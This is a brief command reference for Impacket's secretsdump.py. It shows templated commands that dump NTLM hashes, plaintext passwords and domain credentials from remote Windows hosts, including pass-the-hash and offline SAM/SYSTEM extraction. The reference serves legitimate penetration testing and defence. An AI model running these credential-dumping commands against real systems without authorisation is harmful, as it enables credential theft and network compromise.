secretsdump.py Command Examples

Dump NTLM hashes, plaintext passwords, and domain credentials from remote Windows systems. Part of the Impacket suite. More information: https://github.com/fortra/impacket.

secretsdump.py {{domain}}/{{username}}:{{password}}@{{target}}

secretsdump.py -hashes {{LM_Hash}}:{{NT_Hash}} {{domain}}/{{username}}@{{target}}

secretsdump.py -just-dc {{domain}}/{{username}}:{{password}}@{{target}}

secretsdump.py -sam {{path/to/SAM}} -system {{path/to/SYSTEM}}

secretsdump.py -no-pass {{domain}}/{{username}}@{{target}}